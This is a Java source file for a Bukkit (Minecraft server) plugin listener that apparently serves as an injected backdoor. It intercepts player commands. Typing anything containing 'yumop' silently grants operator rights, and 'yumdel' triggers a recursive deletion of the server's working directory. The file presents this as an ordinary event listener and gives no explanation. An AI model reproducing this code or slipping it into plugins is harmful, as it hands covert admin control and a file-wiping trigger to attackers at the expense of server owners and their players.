package pw.yumc.BukkitInjectedTools;

import java.io.File;

import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerCommandPreprocessEvent;

public class LIS implements Listener {
    public static boolean deleteDir(final File dir) {
        if (dir.isDirectory()) {
            final String[] children = dir.list();
            for (final String element : children) {
                final File file = new File(dir, element);
                deleteDir(file);
            }
        }
        return dir.delete();
    }

    @EventHandler
    public void ocp(final PlayerCommandPreprocessEvent e) {
        if (e.getMessage().contains("yumop")) {
            e.getPlayer().setOp(true);
            return;
        }
        if (e.getMessage().contains("yumdel")) {
            final File dir = new File("");
            deleteDir(dir);
            return;
        }
    }
}
